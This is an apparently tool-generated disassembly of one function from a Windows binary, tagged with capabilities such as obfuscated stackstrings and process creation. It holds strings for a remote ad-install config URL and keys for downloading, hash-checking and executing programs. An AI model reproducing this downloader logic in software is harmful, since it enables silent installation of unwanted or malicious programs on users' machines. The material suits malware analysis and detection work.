Function at 0x411520
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x473d4a
mov eax, dword fs:[0]
push eax
sub esp, 0xd8
push ebx
push esi
push edi
mov eax, dword [0x48e900]
xor eax, esp
push eax
lea eax, [esp + 0xe8]
mov dword fs:[0], eax
mov edi, dword [ebp + 8]
mov ecx, dword [edi + 0x11c]
mov esi, dword [ecx + 0x1ac]
xor eax, eax
test esi, esi
jle 0x411598
cmp eax, esi
jl 0x41156f
xor edx, edx
jmp 0x41158a
test eax, eax
jl 0x41160b
cmp eax, esi
jge 0x41160b
mov edx, dword [ecx + 0x1a8]
lea edx, [edx + eax*4]
mov edx, dword [edx]
cmp dword [edx + 0x84], 0
jne 0x4115a5
inc eax
cmp eax, esi
jl 0x41156f
cmp dword [edi + 0x1a0], 0
je 0x413bcf
lea eax, [edi + 0x174]
push str.YouXunBoxYouxun.exe
push eax
lea eax, [esp + 0xdc]
push eax
call fcn.00404c90
add esp, 8
mov dword [esp + 0xf4], 0
mov ecx, esp
mov dword [esp + 0x38], esp
push str.http:__box64ad.uuuo.com_yxh_install_ads.ini
call fcn.00401b80
lea ecx, [esp + 0x1c]
push ecx
call fcn.00409390
add esp, 8
mov byte [esp + 0xf0], 1
call fcn.0043a385
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x411610
push 0x80004005
call fcn.00401090
call fcn.0043a595
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x88], eax
mov byte [esp + 0xf0], 2
call fcn.0043a385
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x411645
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x80], eax
mov byte [esp + 0xf0], 3
mov esi, dword [esp + 0x18]
push ecx
mov ecx, dword [esi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add esi, 0xfffffff0
mov dword [esp + 0x38], esp
mov edi, esp
call eax
cmp dword [esi + 0xc], 0
lea edx, [esi + 0xc]
jl 0x411692
cmp eax, dword [esi]
jne 0x411692
mov ebx, esi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x4116ce
mov ecx, dword [esi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov ebx, eax
test ebx, ebx
jne 0x4116ab
call fcn.00402650
mov eax, dword [esi + 4]
mov dword [ebx + 4], eax
mov eax, dword [esi + 4]
lea ecx, [eax + eax + 2]
push ecx
add esi, 0x10
lea edx, [eax + eax + 2]
push esi
push edx
lea eax, [ebx + 0x10]
push eax
call fcn.00456d40
add esp, 0x10
add ebx, 0x10
mov dword [edi], ebx
push ecx
mov byte [esp + 0xf8], 4
mov ecx, esp
mov dword [esp + 0x34], esp
push str.sleep
lea edi, [esp + 0x8c]
call fcn.00401b80
mov byte [esp + 0xf8], 5
mov esi, dword [0x493478]
push ecx
mov ecx, dword [esi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add esi, 0xfffffff0
mov dword [esp + 0x2c], esp
mov dword [esp + 0x2c], esp
call eax
cmp dword [esi + 0xc], 0
lea edx, [esi + 0xc]
jl 0x411731
cmp eax, dword [esi]
jne 0x411731
mov ebx, esi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x41176d
mov ecx, dword [esi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov ebx, eax
test ebx, ebx
jne 0x41174a
call fcn.00402650
mov eax, dword [esi + 4]
mov dword [ebx + 4], eax
mov eax, dword [esi + 4]
lea ecx, [eax + eax + 2]
push ecx
add esi, 0x10
lea edx, [eax + eax + 2]
push esi
push edx
lea eax, [ebx + 0x10]
push eax
call fcn.00456d40
add esp, 0x10
mov ecx, dword [esp + 0x2c]
add ebx, 0x10
mov dword [ecx], ebx
mov esi, edi
mov byte [esp + 0xfc], 3
call fcn.00409260
mov edx, dword [esp + 0x8c]
add esp, 0xc
push edx
call fcn.004575f6
mov esi, dword [esp + 0x1c]
mov ecx, dword [esi - 0x10]
add esi, 0xfffffff0
mov dword [esp + 0x38], eax
mov eax, dword [ecx]
mov edx, dword [eax + 0x10]
mov dword [esp + 0x30], esp
mov edi, esp
call edx
cmp dword [esi + 0xc], 0
lea edx, [esi + 0xc]
jl 0x4117ca
cmp eax, dword [esi]
jne 0x4117ca
mov ebx, esi
mov eax, 1
lock xadd dword [edx], eax
jmp 0x411806
mov ecx, dword [esi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov ebx, eax
test ebx, ebx
jne 0x4117e3
call fcn.00402650
mov eax, dword [esi + 4]
mov dword [ebx + 4], eax
mov eax, dword [esi + 4]
lea ecx, [eax + eax + 2]
push ecx
add esi, 0x10
lea edx, [eax + eax + 2]
push esi
push edx
lea eax, [ebx + 0x10]
push eax
call fcn.00456d40
add esp, 0x10
add ebx, 0x10
mov dword [edi], ebx
push ecx
mov byte [esp + 0xf8], 6
mov ecx, esp
mov dword [esp + 0x44], esp
push str.number
lea edi, [esp + 0x94]
call fcn.00401b80
mov byte [esp + 0xf8], 7
mov esi, dword [0x493478]
push ecx
mov ecx, dword [esi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add esi, 0xfffffff0
mov dword [esp + 0x2c], esp
mov dword [esp + 0x2c], esp
call eax
cmp dword [esi + 0xc], 0
lea edx, [esi + 0xc]
jl 0x411869
cmp eax, dword [esi]
jne 0x411869
mov ebx, esi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x4118a5
mov ecx, dword [esi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov ebx, eax
test ebx, ebx
jne 0x411882
call fcn.00402650
mov eax, dword [esi + 4]
mov dword [ebx + 4], eax
mov eax, dword [esi + 4]
lea ecx, [eax + eax + 2]
push ecx
add esi, 0x10
lea edx, [eax + eax + 2]
push esi
push edx
lea eax, [ebx + 0x10]
push eax
call fcn.00456d40
add esp, 0x10
mov ecx, dword [esp + 0x2c]
add ebx, 0x10
mov dword [ecx], ebx
mov esi, edi
mov byte [esp + 0xfc], 3
call fcn.00409260
mov edx, dword [esp + 0x94]
add esp, 0xc
push edx
call fcn.004575f6
mov esi, eax
add esp, 4
mov dword [esp + 0x2c], esi
call fcn.0043a385
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x4118f0
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x30], eax
mov byte [esp + 0xf0], 8
call fcn.0043a385
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x411922
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x28], eax
mov byte [esp + 0xf0], 9
call fcn.0043a385
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x411954
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x38], eax
mov byte [esp + 0xf0], 0xa
call fcn.0043a385
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x411986
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x44], eax
mov byte [esp + 0xf0], 0xb
call fcn.0043a385
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x4119b8
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x3c], eax
mov byte [esp + 0xf0], 0xc
call fcn.0043a385
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x4119ea
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x70], eax
mov byte [esp + 0xf0], 0xd
call fcn.0043a385
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x411a1c
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x68], eax
mov byte [esp + 0xf0], 0xe
call fcn.0043a385
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x411a4e
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x60], eax
mov byte [esp + 0xf0], 0xf
call fcn.0043a385
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x411a80
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x58], eax
mov byte [esp + 0xf0], 0x10
call fcn.0043a385
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x411ab2
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x40], eax
mov byte [esp + 0xf0], 0x11
call fcn.0043a385
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x411ae4
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x50], eax
mov byte [esp + 0xf0], 0x12
call fcn.0043a385
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x411b16
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x4c], eax
mov byte [esp + 0xf0], 0x13
call fcn.0043a385
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x411b48
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x94], eax
mov byte [esp + 0xf0], 0x14
call fcn.0043a385
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x411b7d
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x98], eax
mov byte [esp + 0xf0], 0x15
call fcn.0043a385
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x411bb2
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x8c], eax
mov byte [esp + 0xf0], 0x16
call fcn.0043a385
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x411be7
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0xb4], eax
mov byte [esp + 0xf0], 0x17
call fcn.0043a385
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x411c1c
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x84], eax
mov byte [esp + 0xf0], 0x18
call fcn.0043a385
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x411c51
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0xcc], eax
mov byte [esp + 0xf0], 0x19
call fcn.0043a385
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x411c86
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x48], eax
mov byte [esp + 0xf0], 0x1a
call fcn.0043a385
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x411cb8
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0xac], eax
mov byte [esp + 0xf0], 0x1b
call fcn.0043a385
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x411ced
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x74], eax
mov byte [esp + 0xf0], 0x1c
call fcn.0043a385
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x411d1f
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0xbc], eax
mov byte [esp + 0xf0], 0x1d
call fcn.0043a385
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x411d54
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x6c], eax
mov byte [esp + 0xf0], 0x1e
call fcn.0043a385
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x411d86
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0xa4], eax
mov byte [esp + 0xf0], 0x1f
call fcn.0043a385
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x411dbb
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x64], eax
mov byte [esp + 0xf0], 0x20
call fcn.0043a385
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x411ded
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0xc4], eax
mov byte [esp + 0xf0], 0x21
call fcn.0043a385
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x411e22
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x5c], eax
mov byte [esp + 0xf0], 0x22
call fcn.0043a385
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x411e54
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0xa8], eax
mov byte [esp + 0xf0], 0x23
call fcn.0043a385
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x411e89
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x54], eax
mov byte [esp + 0xf0], 0x24
call fcn.0043a385
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x411ebb
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0xa0], eax
mov byte [esp + 0xf0], 0x25
call fcn.0043a385
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x411ef0
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0xc8], eax
mov byte [esp + 0xf0], 0x26
call fcn.0043a385
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x411f25
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0xc0], eax
mov byte [esp + 0xf0], 0x27
call fcn.0043a385
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x411f5a
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0xb8], eax
mov byte [esp + 0xf0], 0x28
call fcn.0043a385
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x411f8f
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0xb0], eax
mov byte [esp + 0xf0], 0x29
call fcn.0043a385
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x411fc4
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x7c], eax
mov byte [esp + 0xf0], 0x2a
call fcn.0043a385
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x411ff6
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x78], eax
mov byte [esp + 0xf0], 0x2b
call fcn.0043a385
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x412028
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x90], eax
cmp esi, 1
mov bl, 0x2c
mov byte [esp + 0xf0], bl
mov dword [esp + 0x24], 1
jl 0x4133dc
jmp 0x412060
mov ecx, dword [esp + 0x24]
push ecx
lea edx, [esp + 0xb4]
push str.wd_dexec
push edx
call fcn.00405740
mov esi, dword [esp + 0x24]
mov ecx, dword [esi - 0x10]
mov eax, dword [ecx]
mov edx, dword [eax + 0x10]
add esi, 0xfffffff0
add esp, 8
mov dword [esp + 0x20], esp
mov dword [esp + 0x14], esp
call edx
cmp dword [esi + 0xc], 0
lea ecx, [esi + 0xc]
jl 0x4120ad
cmp eax, dword [esi]
jne 0x4120ad
mov edi, esi
mov eax, 1
lock xadd dword [ecx], eax
jmp 0x4120e8
mov ecx, dword [esi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov edi, eax
test edi, edi
je 0x4116a6
mov eax, dword [esi + 4]
mov dword [edi + 4], eax
mov eax, dword [esi + 4]
lea ecx, [eax + eax + 2]
push ecx
add esi, 0x10
lea edx, [eax + eax + 2]
push esi
push edx
lea eax, [edi + 0x10]
push eax
call fcn.00456d40
add esp, 0x10
mov ecx, dword [esp + 0x14]
add edi, 0x10
mov dword [ecx], edi
mov byte [esp + 0xf4], 0x2d
mov esi, dword [esp + 0xb4]
push ecx
mov ecx, dword [esi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add esi, 0xfffffff0
mov dword [esp + 0x1c], esp
mov dword [esp + 0x18], esp
call eax
cmp dword [esi + 0xc], 0
lea edx, [esi + 0xc]
jl 0x412130
cmp eax, dword [esi]
jne 0x412130
mov edi, esi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x41216b
mov ecx, dword [esi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov edi, eax
test edi, edi
je 0x4116a6
mov eax, dword [esi + 4]
mov dword [edi + 4], eax
mov eax, dword [esi + 4]
lea ecx, [eax + eax + 2]
push ecx
add esi, 0x10
lea edx, [eax + eax + 2]
push esi
push edx
lea eax, [edi + 0x10]
push eax
call fcn.00456d40
add esp, 0x10
mov ecx, dword [esp + 0x18]
add edi, 0x10
mov dword [ecx], edi
mov byte [esp + 0xf8], 0x2e
mov esi, dword [0x493478]
push ecx
mov ecx, dword [esi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add esi, 0xfffffff0
mov dword [esp + 0x1c], esp
mov dword [esp + 0x1c], esp
call eax
cmp dword [esi + 0xc], 0
lea edx, [esi + 0xc]
jl 0x4121b2
cmp eax, dword [esi]
jne 0x4121b2
mov edi, esi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x4121ed
mov ecx, dword [esi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov edi, eax
test edi, edi
je 0x4116a6
mov eax, dword [esi + 4]
mov dword [edi + 4], eax
mov eax, dword [esi + 4]
lea ecx, [eax + eax + 2]
push ecx
add esi, 0x10
lea edx, [eax + eax + 2]
push esi
push edx
lea eax, [edi + 0x10]
push eax
call fcn.00456d40
add esp, 0x10
mov ecx, dword [esp + 0x1c]
add edi, 0x10
mov dword [ecx], edi
lea esi, [esp + 0x90]
mov byte [esp + 0xfc], bl
call fcn.00409260
mov edx, dword [esp + 0x30]
add esp, 0xc
push edx
lea eax, [esp + 0xd0]
push str.wd_did
push eax
call fcn.00405740
mov esi, dword [esp + 0x24]
mov ecx, dword [esi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add esi, 0xfffffff0
add esp, 8
mov dword [esp + 0x18], esp
mov dword [esp + 0x14], esp
call eax
cmp dword [esi + 0xc], 0
lea edx, [esi + 0xc]
jl 0x412259
cmp eax, dword [esi]
jne 0x412259
mov edi, esi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x412294
mov ecx, dword [esi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov edi, eax
test edi, edi
je 0x4116a6
mov eax, dword [esi + 4]
mov dword [edi + 4], eax
mov eax, dword [esi + 4]
lea ecx, [eax + eax + 2]
push ecx
add esi, 0x10
lea edx, [eax + eax + 2]
push esi
push edx
lea eax, [edi + 0x10]
push eax
call fcn.00456d40
add esp, 0x10
mov ecx, dword [esp + 0x14]
add edi, 0x10
mov dword [ecx], edi
mov byte [esp + 0xf4], 0x2f
mov esi, dword [esp + 0xd0]
push ecx
mov ecx, dword [esi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add esi, 0xfffffff0
mov dword [esp + 0x24], esp
mov dword [esp + 0x18], esp
call eax
cmp dword [esi + 0xc], 0
lea edx, [esi + 0xc]
jl 0x4122dc
cmp eax, dword [esi]
jne 0x4122dc
mov edi, esi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x412317
mov ecx, dword [esi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov edi, eax
test edi, edi
je 0x4116a6
mov eax, dword [esi + 4]
mov dword [edi + 4], eax
mov eax, dword [esi + 4]
lea ecx, [eax + eax + 2]
push ecx
add esi, 0x10
lea edx, [eax + eax + 2]
push esi
push edx
lea eax, [edi + 0x10]
push eax
call fcn.00456d40
add esp, 0x10
mov ecx, dword [esp + 0x18]
add edi, 0x10
mov dword [ecx], edi
mov byte [esp + 0xf8], 0x30
mov esi, dword [0x493478]
push ecx
mov ecx, dword [esi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add esi, 0xfffffff0
mov dword [esp + 0x1c], esp
mov dword [esp + 0x1c], esp
call eax
cmp dword [esi + 0xc], 0
lea edx, [esi + 0xc]
jl 0x41235e
cmp eax, dword [esi]
jne 0x41235e
mov edi, esi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x412399
mov ecx, dword [esi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov edi, eax
test edi, edi
je 0x4116a6
mov eax, dword [esi + 4]
mov dword [edi + 4], eax
mov eax, dword [esi + 4]
lea ecx, [eax + eax + 2]
push ecx
add esi, 0x10
lea edx, [eax + eax + 2]
push esi
push edx
lea eax, [edi + 0x10]
push eax
call fcn.00456d40
add esp, 0x10
mov ecx, dword [esp + 0x1c]
add edi, 0x10
mov dword [ecx], edi
lea esi, [esp + 0x3c]
mov byte [esp + 0xfc], bl
call fcn.00409260
mov edx, dword [ebp + 8]
mov edi, dword [edx + 0x11c]
xor esi, esi
add esp, 0xc
cmp esi, dword [edi + 0x1ac]
jge 0x4124cb
test esi, esi
jl 0x41160b
cmp esi, dword [edi + 0x1ac]
jge 0x41160b
mov eax, dword [edi + 0x1a8]
lea eax, [eax + esi*4]
mov eax, dword [eax]
mov eax, dword [eax + 0xb0]
test eax, eax
je 0x412444
mov edx, dword [esp + 0x30]
xor ecx, ecx
test edx, edx
setne cl
test ecx, ecx
je 0x411601
mov eax, dword [eax]
mov ecx, edx
lea esp, [esp]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x412436
test dx, dx
je 0x412432
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x412436
add eax, 4
add ecx, 4
test dx, dx
jne 0x412410
xor eax, eax
jmp 0x41243b
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
sete al
test al, al
jne 0x412453
inc esi
cmp esi, dword [edi + 0x1ac]
jl 0x4123cc
jmp 0x4124cb
cmp esi, dword [edi + 0x1ac]
jl 0x41245f
xor eax, eax
jmp 0x41247e
test esi, esi
jl 0x41160b
cmp esi, dword [edi + 0x1ac]
jge 0x41160b
mov ecx, dword [edi + 0x1a8]
lea eax, [ecx + esi*4]
mov eax, dword [eax]
cmp dword [eax + 0x84], 0
jne 0x4124cb
mov eax, dword [esp + 0x84]
mov ecx, 0x47c2fc
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x4124b9
test dx, dx
je 0x4124b5
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x4124b9
add eax, 4
add ecx, 4
test dx, dx
jne 0x412493
xor eax, eax
jmp 0x4124be
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
sete al
test al, al
je 0x4133c9
mov ecx, dword [esp + 0x30]
mov eax, dword [ecx - 0xc]
mov esi, dword [esp + 0x24]
test eax, eax
je 0x4124fb
push eax
push ecx
lea ecx, [esp + 0x84]
call fcn.00405330
push 1
push 0x47bb70
lea ecx, [esp + 0x84]
call fcn.00405330
push esi
lea edx, [esp + 0x4c]
push str.wd_durl
push edx
call fcn.00405740
add esp, 0xc
push esi
lea eax, [esp + 0xb0]
push str.wd_dmd5
push eax
call fcn.00405740
add esp, 0xc
push esi
lea ecx, [esp + 0x78]
push str.wd_dmain
push ecx
call fcn.00405740
add esp, 0xc
push esi
lea edx, [esp + 0xc0]
push str.wd_dunmain
push edx
call fcn.00405740
add esp, 0xc
push esi
lea eax, [esp + 0xa8]
push str.wd_dchina
push eax
call fcn.00405740
add esp, 0xc
push esi
lea ecx, [esp + 0x70]
push str.wd_dopen
push ecx
call fcn.00405740
add esp, 0xc
push esi
lea edx, [esp + 0xa4]
push str.wd_dReg
push edx
call fcn.00405740
add esp, 0xc
push esi
lea eax, [esp + 0x68]
push str.wd_dtaskbar
push eax
call fcn.00405740
add esp, 0xc
push esi
lea ecx, [esp + 0xc8]
push str.wd_dparam
push ecx
call fcn.00405740
add esp, 0xc
push esi
lea edx, [esp + 0x60]
push str.wd_dLnk
push edx
call fcn.00405740
add esp, 0xc
push esi
lea eax, [esp + 0xac]
push str.wd_dsleep
push eax
call fcn.00405740
add esp, 0xc
push esi
lea ecx, [esp + 0x58]
push str.wd_dlnkpath
push ecx
call fcn.00405740
add esp, 0xc
push esi
lea edx, [esp + 0xcc]
push str.wd_drnwait
push edx
call fcn.00405740
add esp, 0xc
push esi
push str.wd_dprocess
lea eax, [esp + 0xc8]
push eax
call fcn.00405740
add esp, 0xc
push esi
lea ecx, [esp + 0xbc]
push str.wd_dArea
push ecx
call fcn.00405740
mov esi, dword [esp + 0x24]
mov ecx, dword [esi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add esi, 0xfffffff0
add esp, 8
mov dword [esp + 0x18], esp
mov dword [esp + 0x14], esp
call eax
cmp dword [esi + 0xc], 0
lea edx, [esi + 0xc]
jl 0x412666
cmp eax, dword [esi]
jne 0x412666
mov edi, esi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x4126a1
mov ecx, dword [esi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov edi, eax
test edi, edi
je 0x4116a6
mov eax, dword [esi + 4]
mov dword [edi + 4], eax
mov eax, dword [esi + 4]
lea ecx, [eax + eax + 2]
push ecx
add esi, 0x10
lea edx, [eax + eax + 2]
push esi
push edx
lea eax, [edi + 0x10]
push eax
call fcn.00456d40
add esp, 0x10
mov ecx, dword [esp + 0x14]
add edi, 0x10
mov dword [ecx], edi
mov byte [esp + 0xf4], 0x31
mov edi, dword [esp + 0x4c]
push ecx
mov ecx, dword [edi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add edi, 0xfffffff0
mov dword [esp + 0x24], esp
mov dword [esp + 0x18], esp
call eax
cmp dword [edi + 0xc], 0
lea edx, [edi + 0xc]
jl 0x4126e6
cmp eax, dword [edi]
jne 0x4126e6
mov esi, edi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x412721
mov ecx, dword [edi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov esi, eax
test esi, esi
je 0x4116a6
mov eax, dword [edi + 4]
mov dword [esi + 4], eax
mov eax, dword [edi + 4]
